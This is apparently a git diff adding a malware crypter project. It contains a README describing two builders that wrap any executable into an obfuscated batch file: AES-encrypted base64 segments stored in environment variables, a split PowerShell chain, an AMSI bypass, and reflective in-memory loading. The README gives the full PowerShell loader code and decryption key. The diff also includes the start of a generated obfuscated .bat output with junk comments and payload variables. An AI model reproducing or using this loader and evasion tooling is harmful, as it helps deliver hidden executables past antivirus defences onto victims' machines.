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

literal 0
HcmV?d00001

diff --git a/read.txt b/read.txt
new file mode 100644
index 0000000..c531d30
--- /dev/null
+++ b/read.txt
@@ -0,0 +1,121 @@
+Made with love and horniness by t.me/toxiiiis
+
+
+## usage
+
+### builder 1to1
+```bash
+cd "builder 1to1"
+python builder.py input.exe output.bat
+```
+exact replica of original originals structure, 21 segments, line 42 order obf, 7step ps chain, reflective load.
+
+### builder improved
+```bash
+cd "builder improved"
+python cli.py input.exe output.bat
+```
+more stuff, fewer segments (auto split), order fragment obfuscation, 47part ps command split, amsi bypass, conhost.exe copy, random case, execution delays.
+
+### differences
+- 1to1: always 21 segments, simpler, smaller output
+- improved: var segments, more obfuscation layers, amsi evasion, bigger output
+
+both use aes-256-cbc, reflective loading, no network ops
+
+---
+
+## log (A to Z)
+
+### 1: anal ysis
+1. Identified 50+ variables, 21 base64 payloads, AES encryption params
+2. obf patterns: random names, command splitting, GOTO flow
+
+### 2: ps chain flow
+1. 7step `$env:` var ref chain
+2. made a py to follow chain: `nZaRCF` > `aGVl55` > `OsJQhAK` > `tjvcnGK` > `bQtWsrx` > `MDmRRqW` > `tsEwVI` > `9UkijMM`
+3. extracted ps command (826 chars)
+4. AES decrypt with key and IV
+
+### 3: payload extract and order
+1. 21 ba64 encoded segments (109,272 chars total)
+2. **important**: segments must be joined in a order
+3. traced line 42 which has variable `43Nn4obTrQ0J` containing the order
+4. found 73 variables to extract correct order from line 42
+5. order: `j97KQu6`, `JIMZlyBt`, `lloztMu`, `oAWM9gN3`, `xAEr2y8D`, `u9HraJGX`, `xNF82uy`, `amiieM`, `ih0wojr`, `SeLNlxJi`, `nrp2Cd`, `ndOVLLU5`, `ilUetRQ`, `Ravpss`, `tTp84C`, `rNQFeP`, `kd7VYdp`, `OD1pagW`, `k7EmPoW`, `TGOERjgr`, `xWiRpFW`
+
+### 4: AES Decryption
+1. joined 21 segments in order > 109,272 b64 chars
+2. b64 decoded > 81,952b encrypted data
+3. IV from first 16 bytes
+4. AES decryption key: `96b664f8815be230831396ff938d72a25bed9f53aec7da78fb2a8b161e82e3bd`
+5. removed PKCS7 padding > 81,920 bytes
+6. yuppurs decrypted payload starts with "MZ" and runs correctly on vt
+
+---
+
+## steps
+
+### step 1:
+``` input: exe > PKCS7 > RNG IV > encrypt with AES > pend IV to ciphertxt > output ```
+
+### step 2:
+``` input: encrypted output > b64 > split into segments (21) > each segment in a var ```
+
+### step 3: 
+``` create var containing the list of vars, split var name itself across multipile vars, reconstruct using var. varvarvarvarvarvarvarvarvarvarvarvar ```
+
+### step 4:
+``` var chain > each var has part of ps cmd > last var has AES dec key ```
+
+### step 5:
+``` split every cmd across 4 to 10 vars > random 8c var names > 11 random labels with GOTO statements > junk comment lines > random CAseS > final output ```
+
+---
+
+## details
+
+### AES params
+```python
+Key (hex): 96b664f8815be230831396ff938d72a25bed9f53aec7da78fb2a8b161e82e3bd
+Key (bytes): [150,182,100,248,129,91,226,48,131,19,150,255,147,141,114,162,91,237,159,83,174,199,218,120,251,42,139,22,30,130,227,189]
+Mode: CBC
+Padding: PKCS7
+IV: first 16b of b64 decoded payload
+```
+
+### ps flow
+```powershell
+# 1. sleep 3 seconds
+Start-Sleep -Seconds 3
+
+# 2. create AES decryptor
+$jPFh8Se4 = [System.Security.Cryptography.AESCryptoServiceProvider]::new()
+$jPFh8Se4.Mode = [System.Security.Cryptography.CipherMode]::CBC
+$jPFh8Se4.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
+$jPFh8Se4.Key = [byte[]]@(150,182,100,248,...)
+
+# 3. get payload from 21 environment vars in order
+$wEAR7v = [Convert]::FromBase64String(-join ($env:43Nn4obTrQ0J.Split('!')).ForEach({(Get-Item "env:$_").Value}))
+
+# 4. extract IV and decrypt
+$jPFh8Se4.IV = $wEAR7v[0..15]
+$F9q72zl = $jPFh8Se4.CreateDecryptor()
+$4lKXVT9F4 = $F9q72zl.TransformFinalBlock($wEAR7v[16..$wEAR7v.Length], 0, $wEAR7v.Length-16)
+
+# 5. load as .NET asm and invoke
+$gEBOJ = [System.Reflection.Assembly]::Load($4lKXVT9F4)
+$gEBOJ.EntryPoint.Invoke($null, $null)
+```
+
+---
+
+## how to use the decryptor
+
+```bash
+# extract correct order and decrypt
+python extract_absolutely_all_vars.py
+python decrypt_with_correct_order.py
+
+# output: PAYLOAD.bin
+```
\ No newline at end of file
diff --git a/testexe and outputs/._testpayload.exe b/testexe and outputs/._testpayload.exe
new file mode 100644
index 0000000000000000000000000000000000000000..96ff44f638da20ccd4406b2adf2f77c32aba9c77
GIT binary patch
literal 178
zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aRU&8_?v*32;dkJ5(HHS(lG;wrO>o7
zBE&_L^K<nQ3kq^l^$JT9ixTrnGV@Xy3iS;PEDWv9EK^d<lafuWLsD~6(~A;wtr-B4
C78l<D

literal 0
HcmV?d00001

diff --git a/testexe and outputs/output_1to1.bat b/testexe and outputs/output_1to1.bat
new file mode 100644
index 0000000..b3b1123
--- /dev/null
+++ b/testexe and outputs/output_1to1.bat	
@@ -0,0 +1,163 @@
+@echo off
+Rem kipabomo zakapi bano nonalila nitoba mopitoti ninimobi
+REM kilanoza kadiki tapipizi tiramo torodino ninoropi labamizi
+goto :vL0gwM6lGY
+%qZiliArJ%::%B5d0hLn9% nolaboka tapari ninoropi
+REM rirano panapala didi lodoka zilotopa lamo
+%sqer9W5C%rem%i8xSkiZh% tiramo nodokibi robikoza nolaboka
+:vL0gwM6lGY
+
+set "QHM6xrrJ=t"
+sET "eI06A5jL=e"
+sEt "aOGFgVV7=s"
+SET PShXNFrD=t
+sEt M9daVqOz=p
+sEt xH7huVcT=a
+SeT pzgcPkJr=y
+seT DFbEusJd=load.exe
+:: zoti zatapa kozari loma rilatipo pokolo
+REM bomokima narili kipabomo bikoza dipiziro kanabo zado
+rem zilotopa kozari zoti riramito
+rem nilali dazodato panapala kobi zilotopa danona
+goto :n1m229
+:: labo mikazota ditona lita ranikizo zipinaba tapari zado
+:n1m229
+set E5SArf2x=cAZNq/O4lFR8nhhHHBxZHSyCPqYlij0USHa0d4iRnHO3mai2GF3An64VKXcuy9h/1MQDjttZI323NBL2GO3Xo/3a8FpFpk7h6SLa8Q589K90vC3REr4EMT5xjo/ASAIrp06xGuD6MfaX+kajyvZe+2aLcCaJmg7uK7b+whazLnttftppVWGKOVEuNQv+2WzuDpof/U0cuLfyf5e2cebJFzlV8Iv1TYropVDuVxyx4y/w5MLlf9EwCsMVnz72WMjOZcOeWw
+SET Mz54j3Wq=S9HFeS/uaW0WkoGnHVz17eVScM4ovRlHSciMK6GBdnb+LYKQp5fN0e+JmIgea2SS5pV+oxNY8/Fwrc+1+Mg3j1n8av0hcp3AiSaeYgq51F78MMMwXANTFCc1+Q9ofCk6IXxZpFiUveaa1WmReHzhLV6jebROsoWZYlInPjKKjX9XBUCmiyCZrIiE+IUgoUyvRMzENwYRIn0XSdhuHwkdwCgRURG+sGh9UyQZ85PuSe30ocKe4TUuaqMoxKB3r3fu0FH+Vl
+sEt OSZHBbxW=rJ/h5PrAYXjkjgH6fiaag2+oYNJVDpPBdWloi6I4gGIM+CglUSUfSFjssgbvBB2ZCFG98UPQpS1oBUuk6/oeKa9BsUqEfIvqCNlSf9fcJW4HJhXu6+zFc+0IOBSEYkFN614H5TtU5w3qPVdrOpVHTqDomB4rR+J2KQIY87zr3fTqoFkZr0IKtGJfElhA4xjSbiWFjD9IGgnwGSmdpPEgWrYNvvxzfLPpxiRQCfY2sp8QeMIrW9KtKauoVAoUGFI7jWZluA
+SET KivNLiYN=B53+8e0MlEgEueWgpw54uorpWhj/IpO2Bgyzljmy9zAxUzWsbyQ4h82Dvua9MVO+Ik5aU1SN97m7BMdDU7tqETR0+coCi4D6e/CBAbnPDYYMXWqeWPMyy9gD/8foKx/bZIdskD5dOIE42KnfdP0VajSo7qvpq4gLsUzRLzl2iqSdUtcVm/zVo+whB0DjbPSqEJTNJIXhVHUEY9P1/75VvTtXiTFC05opA+SI+xrlmR2fXHDj5CHCPTLRHwNtjy/95uW82E
+SET IViByJQa=CG7nSE8KQFGCd34koE+pnuB6oVstT9UcVcXYZPfhUGzO2RSE7gquljTWa+O/LjBGydXYZ0uAzBzOfXVtDMl/E6+VLCGqkPyOx43SXxUG3F9QClG+nVqLvtNejqOwrb3tSwBqL4htY9w73CMjSliWmtAAJNrypWA0RoUh3Ug4+CO0NzjhS8CL43ppLOD559lP1EWIjtFal1pJONEW8wbccMdrCt12OtdmhY0ZLx4Os+Hg7iog3zL0haTipHli68Pq1tyYgn
+rem ripanika kozari nonola ripomoti loma tika noto lazozi
+sEt Zj3iG1r4=pFj4pTRDF/g9DgSvULinj5+tYFe9SV/bhbZA2h9SiHMAqXVV8n8buxcV2VxpFoWUYg53tz9CVadKnv63V8CVr7fgDWOT6a2zps7odhTf028efOQTLMs2NJPfqxyTFqQX1ysDJ5N0zyGG3lmOgpduC5UK/neGGr+kWnmR+1pj4qy+TPdBJtAwIeD0otY/fse7MML7RG4u6Rucnq441DdhPJBmEwKYLJnj0P0g9YKABwlmrhdVDUz/SQQmmcpvhOW78/ikSw
+SET wAOI3Y8B=8pFKGtFt9PUzYd0NZFrzGY1HeDlwKKo0dLAnc/QZsSrk8MpuJ3b1elmTCrdi7TT0cA8GFngruPvOySBamlyIVqQwb9BJ2HM/oiHPHP9H6Cf3y7Xj/oHPEPV+aWiSzcRybOxMrOiadeZZnKkiJVTFsGHIzlLamifRB1LAXdjVhN+9+rhMyBe+uoKhZDsCGd0HtmzKYxP7DvY1NkItMqh7IrOp7bx3epzAZJ3DK4Os1rE/zitxzCBzeRs6L9QiRkKKobDFsO
+set JZA7v0jh=QiM34ZOpMf8YtTo3KvXnQ1YXF/xLQuYXDPzyix3fu7XNje13DOA/IXZ6KAFkwHn/LTB7YnLKkkstR6TBcRV9faBgzcuPA3lHxKtDOs6SVfSF4dFJsuMrWO3AMVdnbaJ/kaUV1kpBMkZhcowCcsVDsxmJ0GYQ0B7aKDOstbbmVTnq3r5EkCAhpcNSQRJwl8WC5LQYDjNrlOO3/YlZqAjWre231VhSvzEAWlWFh02y7/07yHJvV8MNMTFsY/l4X0JzGYjUy3
+SET DAdfHIee=UVjn4PWfXAYMQD4tPtQujlSEbSBC7w0H6NlFgO3MNv64eKNos8JGUMIUnDy6fS79StJzKCvMD817zCnQ6CQmpmoYbxxk3TCk/eVuKFsDrY1HkEdUw3Pxqewmjz2kU3+HsiptZgF5v9wg/VU53CzlUvUQeK++XWCohQBsqYWj3tdtozU2P0Cps+FMkOmqvcsgTRuQK0HVFPkI7f0lgSW3X54QbkyZcxKzmwJv5fSPTHwL5rmk/FKS9/FcffRC9rNDPMmMHy
+SET kjdUyGwR=Y3z3xBCa2CY+CsHCsE+sL4nshFh/TCxqTc1xz1e7lREHKCGz1JSD7J+DIDTSR5e1io1WfQWiSfycAjKT42D+ktRy976vdgCqlJSqpE6sTzsBIGmL+CTPc2K+K44VB3FPtOKIFt77vMg38Ml2xOqlLQprHsXVzZa2MHtXEe57Xr6f1ql2Lx51qLfP9yZgNaUutxseOZLrnZ+8Qji0K7Jmde7fGCynZTOnU1CAc0K0zvQNAPgy35xgcePEAZRJMa5C8NT9lE
+%MIBk9PBb%REM%CKvgikrs% zazolomi tika zazaba tapipizi miba takizo
+SET ODyICk9W=VagCbcF7K2JzPe/a+NrBztPGihmXeqGOd0tt4Tfb9QYm7KBEYWyWvqE2tffr63jsHiI35YsBwx5qmMlDbE3EsF9OE8MRCbUP1PyhgUTWbxns+Ro/WZM4pf2ysChfoBCeGzJHNzpJQZvHotbhfkfszlpjJH7ggp6ktdjDiVg4uv/sz1J5Oo8EGOGUIzjLvcvZa778P/uFOey/JTVIOBZwiGGeGHGQqs5NdKhPKDtXv5TwJnNcXvOnJI1oNUaOEamlUOMzfz
+set x0vsYYSk=InZBUaPIy0aRphQsOH5KISjt5Gm/T++LxnrfxkFnRwC+ecpK//IwL0tNgnGurgtFiGde3R/x5s6rHwwXFrS0Hv0SJ3+12AEM7QaNHilT7GdsDfOUuPzp8NG6+PMC0PfQZAcMXmcLirP4dVC48MTOEpA3iNpeTOMnU8HHTgYwLU66wfmxR9nQcTgQKJFGntXqaJsWJECHwidoMh/7DGBxN9Ay5PEnpyAt4vjWeifMOg2jna9Uf0JblHbS1Loa7/WKX2cJjS
+sEt WrkaZiHq=LTmBLQ+tfZ2yo7yIxvgUK90grvsomOgY005dyjt2xcjwL8EA9+ggY0mSTViOWR0ehj1kDbySp/C7GzfrAFut7CB3CExEGQYHm3VFB0imAMJqfLbYeUgtAUc11/F66kcfcxcZtFfhhVo9rT/ceWluhIecClspA04QIpHMWtVrkHr+zQLA0FtYeczlOg15rNK0oGq53cZoQR88NnBZMDCqe+ArS+Q8J1LHAtBniMTCflu6SSn4kmn3Psa9l/knIVnupDPHU9
+sEt RVR1sGlk=/J5p126WijFDNRe3mjQ2GsJbocheucitQZ1G4LkbmH5VcL/EIa5hbO/WO0KtMGCLheKr6m9QIgxMPdYEb4869ElO72XOvlbh0/QnUGd0ky6WcndNc2fsLXs0CQdddj9kIISltGZs00DFYPxGqt08RMyOL6tTzrKNg6ALhzZlkb3VgjWwTL9FIWTzn0vSQEOo06Wt+d+axdsAxS3gS2Wj7I4lozyeue+BO/mcB8SfI2WHS+IG9HFOVVxPj4ox5++ltdO2oU
+set raQoGp88=Iqk7pba/p22E6Iga4itGThJzpKVbOHWXnDH6ISw/XWV4B3CUtkq1kWmGeUx2v+RQvWZrMz7Qog8a//TUiDi6SVRg+8LRUYfsuU7H/Fi2vuB0OwCJ/lwUQbqz7+C1AyiV0E8nQU/0fgc7Qlf8vE75ZsQ8vUn8sJXhj4+sUs5a0LidN5Xoe8NBQeOpzUBxyeavGW5564L3wL5hdQw/wkIxrXUfZcL1XhY99yqI6051Xcp8UR5KNIzQJdeTZQkMOWwPByCR8j
+%HbAPknok%::%xQ7CorZ7% zido tika lodimoki
+SET js0ADr6a=YOZ8jaWuoffNbD5tyXpnRhWc2M0wI+5GTx40959IuLG4PNXpV5Z/n+oGJv+uAPnyjAtxNVcE3nGosWxV+DcKqxtkL9aq9yhhQkET0qDxFFMFrINr1jf7w0VOt8mqtye1QnTRkB9DR7rcUKg3wa3MNtIWwy5tzwVzXMRJSQKXvSbxe1RAMmqFe6oahRn7s3fxdDi1GFsTmDnl2K2n3xp6XfR4PVwiLIyfEqfnggpd8EsMZFO0Nn0Kg2EnOd9+tTMVZOWNsV
+set HCrxZADp=Wxn9yMz1cI/+nq1EUcVxqOubT4c8cZS321K/dvmlWyH7iMTE7qumCrSEqkyQHNZaw1F9DrcIqxtXQkcR2DDd02utTI/XuJxJdlPTUpacMw60XOMTRB+Yn+2p9mTPKgIlE+B+nBsFqCs8CeHznApL8H0WWNM4EWtlY6KQ1LVrHrkKqf9Ija0VUWI5MgWwuOrKFF3k0wwv9ohOTKD656iAVbWYCFB69pe8fgw4hhgIQXdm1dpje60QkZOpwFx8zgP8c8x0U6
+SET heP1CCKf=vz9C1rj1mjB70fotOFz0QTYFdAGA9QfgQtRRuSl77CCPS8eKiSUDFqjzRPvPaCu1hrJXUTQP+2PPRxRkc53csE3Z0xt5EKkuf3SKS28LeweQxQQQaNlg499BPUSy6TkEIAMccW+ztv14y61N06dAnUDw6JGBbQS8qffmUc79Jkv9ppAY68vxIHBflTv2yxD8P0NuVGuMNT+WhpOfbAlORsQIbawCZ/QvEetFDgTneSIs90VS9+kH7ryroE9eiS/Us59oAj
+sEt URrHtuVX=/2+ZSmKtdZOn8W6cSkPCpXdl7u5j6INOjCO/YBT+3gxqpkx7ZhEDomr6oTDZhqj+zxcr2ET34qncziC30hPBDq7aFreipXzfxAw2fhjh22nMYzva20P9+IKRwZAMu1rClfyVe2cUttoihWR5mCmG0qWpENVJ5weQLMb5EECzUTFgXFGPYbE9B2ZI6jwDyKVzK8isg2qz6stiOCjrDoGl3yv00EpZmX8eYk7Bxr43BAHGtbBbUE9bT7ZSXHwvz55I/98Iyn
+SET W27dRdor=CkifNrKJlQVjpBemBx04YuFrIa8bG00w/Yy4vo/r9nHeEjAg3xuzXpEufpfHdWLINyCQJxvlhkE9QQprfpKmku+FQLLf0lg8wCVN0h7BMR9RP0mUrLQns2qcXSDTACWGCZSrRLCBB3zdLYsRrkkJo/7vDvM5ALDoXto6C7EmlGFLktlARB9atB9bdJCfx52EiwkSKxAXnzj6z7PgbVdRx9kfhIFN4ICAzaqZ681i8jdXQK/bW6iZZKySzHmoYQ553zFGcr
+Rem panapala kiramimi ripo moli mikibaka zimo
+sEt bSjRBAJ7=1KiCOz7x/nvpSNHqkRdwRMaKxbmc14ErlD6zceabbnslgYgoVBhgphgONPx89MLLivk+jOsyrC9wVQfCITgKUlGjmaLuujeN0GyDYzOJrmL7XIg3omNo72VvyrAiygNoYsDDB9Jadd4hHtbinzluEfIWPm1pxdR7nBxtCMUjQoUp9DNKmDPXNpQdU81i+DXii7x9ldvy6+m1/UhxqMg9bhtYTKVL3KerMEODH9sVRbrMvBwl7qrldn40eGd0zJuslYB86k6r
+:: popiliki zalazipo noto kilanoza
+%p6Mh76s0%Rem%GUTMLOdY% kadola torola tala
+Rem ziromoti bikoza pili notiri larala
+:: bano rozoboba nonalila tatabipo
+goto :lbdFme0GXnf
+:lbdFme0GXnf
+SET "caifiwMo=E5SArf2x!" && %GP96DE1J%rem%H655fuxq% riradi moma zakapi pirido zoti nabi ropa
+sEt "SUFMnTHK=Mz54j3Wq!"
+SET "PNI4SNDk=OSZHBbxW!"
+sEt "PqT5lZYL=KivNLiYN!" && REM nida zoti titikoko zaritabo
+SET "giS1OT5O=IViByJQa!"
